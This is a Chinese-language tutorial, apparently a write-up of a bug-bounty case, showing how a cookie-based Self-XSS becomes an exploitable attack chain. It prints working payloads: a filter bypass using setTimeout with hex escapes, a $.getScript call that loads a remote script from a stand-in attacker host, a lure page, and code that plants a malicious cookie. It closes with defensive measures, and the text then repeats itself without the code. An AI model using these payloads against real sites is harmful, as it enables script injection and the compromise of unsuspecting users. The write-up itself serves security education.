从Self-XSS到可利用的xss
字数 1553 2025-08-27 12:33:37

从Self-XSS到可利用XSS的完整利用链教学

1. 基础概念

1.1 Self-XSS

Self-XSS是一种需要用户自行在浏览器中执行恶意代码的跨站脚本漏洞。通常被认为危害较低,因为攻击者难以强制受害者执行特定操作。

1.2 反射型XSS

反射型XSS是指恶意脚本通过请求参数反射回页面中执行的漏洞,通常通过诱骗用户点击特制链接来利用。

1.3 基于Cookie的XSS

当网站将未经验证的用户输入存储在Cookie中并在页面中输出时,可能导致基于Cookie的XSS漏洞。

2. 初始漏洞发现

2.1 反射型XSS的发现

作者在目标网站中发现了一个反射型XSS,但存在以下限制:

  • 圆括号被过滤,无法直接使用alert(document.domain)
  • 使用反引号可以执行函数,但不能访问DOM对象

2.2 初始绕过技术

使用反引号代替圆括号执行函数:

alert`document.domain`

但这种形式无法真正访问DOM资源。

3. DOM访问绕过技术

3.1 使用setTimeout绕过

通过Brutelogic的建议,作者发现可以使用以下payload实现DOM访问:

setTimeout`alert\x28document.domain\x29`

这里的关键点:

  • 使用setTimeout函数
  • 使用十六进制编码绕过圆括号限制(\x28是"(",\x29是")")

3.2 十六进制编码的意义

十六进制编码可以绕过许多过滤机制,因为:

  1. 许多过滤器不会解码十六进制字符
  2. 浏览器仍能正确解析并执行编码后的字符

4. 从Self-XSS到可利用XSS的升级

4.1 发现基于Cookie的Self-XSS

作者发现子域名存在一个基于Cookie的Self-XSS:

  • 一个base64编码的Cookie参数可导致XSS
  • 但需要攻击者能设置用户的Cookie

4.2 利用已有XSS设置Cookie

使用反射型XSS作为入口点,通过JavaScript设置恶意Cookie:

document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
window.location = "https://example.com/vulnerablePage.html";

4.3 外部脚本加载技术

由于payload长度限制,作者使用jQuery加载外部脚本:

$.getScript`//xss.example.com/xss.js`

这种方法:

  1. 利用网站已有的jQuery库
  2. 通过反引号语法避免使用圆括号
  3. 从外部域加载完整攻击脚本

5. 完整攻击链构造

5.1 攻击步骤

  1. 受害者访问包含反射型XSS的页面
  2. 反射型XSS执行代码加载外部脚本
  3. 外部脚本修改页面内容,诱导用户点击按钮
  4. 点击按钮设置恶意Cookie并重定向
  5. 重定向后的页面解析恶意Cookie,执行真正的XSS攻击

5.2 攻击代码分解

诱导界面代码

$('html').html('<h1>Click the button below to continue.</h1><input type="submit" value="Click Me" onclick=setCookieRedir() />');

Cookie设置函数

function setCookieRedir(){
    document.cookie = "vulnerableCookie=LS0+PC9zY3JpcHQ+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOy8v;path=/;domain=.example.com;";
    window.location = "https://example.com/vulnerablePage.html";
}

Base64解码后的payload

--></script><script>alert(document.domain);//

这个payload:

  1. 闭合可能存在的HTML标签
  2. 插入新的script标签执行恶意代码
  3. 使用注释符避免影响后续HTML解析

6. 防御措施

6.1 针对反射型XSS

  1. 对所有用户输入进行严格过滤
  2. 实现内容安全策略(CSP)
  3. 对特殊字符进行编码输出

6.2 针对Cookie XSS

  1. 不要将用户可控数据存储在Cookie中
  2. 对Cookie值进行严格验证
  3. 设置HttpOnly标志防止JavaScript访问

6.3 针对DOM操作

  1. 避免使用innerHTML等不安全DOM操作方法
  2. 使用textContent代替innerHTML
  3. 对动态生成的脚本内容进行严格审查

7. 总结

这个案例展示了如何将看似无害的Self-XSS升级为可利用的XSS攻击链,关键点包括:

  1. 利用反射型XSS作为初始攻击向量
  2. 绕过过滤机制的技术(反引号、十六进制编码)
  3. 使用已有库(jQuery)扩展攻击能力
  4. 通过设置Cookie将Self-XSS转化为可利用漏洞
  5. 分阶段执行攻击以绕过长度限制

这种攻击链的构造需要深入理解XSS的各种变种和绕过技术,同时也展示了即使"低危"漏洞在组合利用时也可能造成严重危害。

从Self-XSS到可利用XSS的完整利用链教学 1. 基础概念 1.1 Self-XSS Self-XSS是一种需要用户自行在浏览器中执行恶意代码的跨站脚本漏洞。通常被认为危害较低,因为攻击者难以强制受害者执行特定操作。 1.2 反射型XSS 反射型XSS是指恶意脚本通过请求参数反射回页面中执行的漏洞,通常通过诱骗用户点击特制链接来利用。 1.3 基于Cookie的XSS 当网站将未经验证的用户输入存储在Cookie中并在页面中输出时,可能导致基于Cookie的XSS漏洞。 2. 初始漏洞发现 2.1 反射型XSS的发现 作者在目标网站中发现了一个反射型XSS,但存在以下限制: 圆括号被过滤,无法直接使用 alert(document.domain) 使用反引号可以执行函数,但不能访问DOM对象 2.2 初始绕过技术 使用反引号代替圆括号执行函数: 但这种形式无法真正访问DOM资源。 3. DOM访问绕过技术 3.1 使用setTimeout绕过 通过Brutelogic的建议,作者发现可以使用以下payload实现DOM访问: 这里的关键点: 使用 setTimeout 函数 使用十六进制编码绕过圆括号限制( \x28 是"(", \x29 是")") 3.2 十六进制编码的意义 十六进制编码可以绕过许多过滤机制,因为: 许多过滤器不会解码十六进制字符 浏览器仍能正确解析并执行编码后的字符 4. 从Self-XSS到可利用XSS的升级 4.1 发现基于Cookie的Self-XSS 作者发现子域名存在一个基于Cookie的Self-XSS: 一个base64编码的Cookie参数可导致XSS 但需要攻击者能设置用户的Cookie 4.2 利用已有XSS设置Cookie 使用反射型XSS作为入口点,通过JavaScript设置恶意Cookie: 4.3 外部脚本加载技术 由于payload长度限制,作者使用jQuery加载外部脚本: 这种方法: 利用网站已有的jQuery库 通过反引号语法避免使用圆括号 从外部域加载完整攻击脚本 5. 完整攻击链构造 5.1 攻击步骤 受害者访问包含反射型XSS的页面 反射型XSS执行代码加载外部脚本 外部脚本修改页面内容,诱导用户点击按钮 点击按钮设置恶意Cookie并重定向 重定向后的页面解析恶意Cookie,执行真正的XSS攻击 5.2 攻击代码分解 诱导界面代码 : Cookie设置函数 : Base64解码后的payload : 这个payload: 闭合可能存在的HTML标签 插入新的script标签执行恶意代码 使用注释符避免影响后续HTML解析 6. 防御措施 6.1 针对反射型XSS 对所有用户输入进行严格过滤 实现内容安全策略(CSP) 对特殊字符进行编码输出 6.2 针对Cookie XSS 不要将用户可控数据存储在Cookie中 对Cookie值进行严格验证 设置HttpOnly标志防止JavaScript访问 6.3 针对DOM操作 避免使用 innerHTML 等不安全DOM操作方法 使用 textContent 代替 innerHTML 对动态生成的脚本内容进行严格审查 7. 总结 这个案例展示了如何将看似无害的Self-XSS升级为可利用的XSS攻击链,关键点包括: 利用反射型XSS作为初始攻击向量 绕过过滤机制的技术(反引号、十六进制编码) 使用已有库(jQuery)扩展攻击能力 通过设置Cookie将Self-XSS转化为可利用漏洞 分阶段执行攻击以绕过长度限制 这种攻击链的构造需要深入理解XSS的各种变种和绕过技术,同时也展示了即使"低危"漏洞在组合利用时也可能造成严重危害。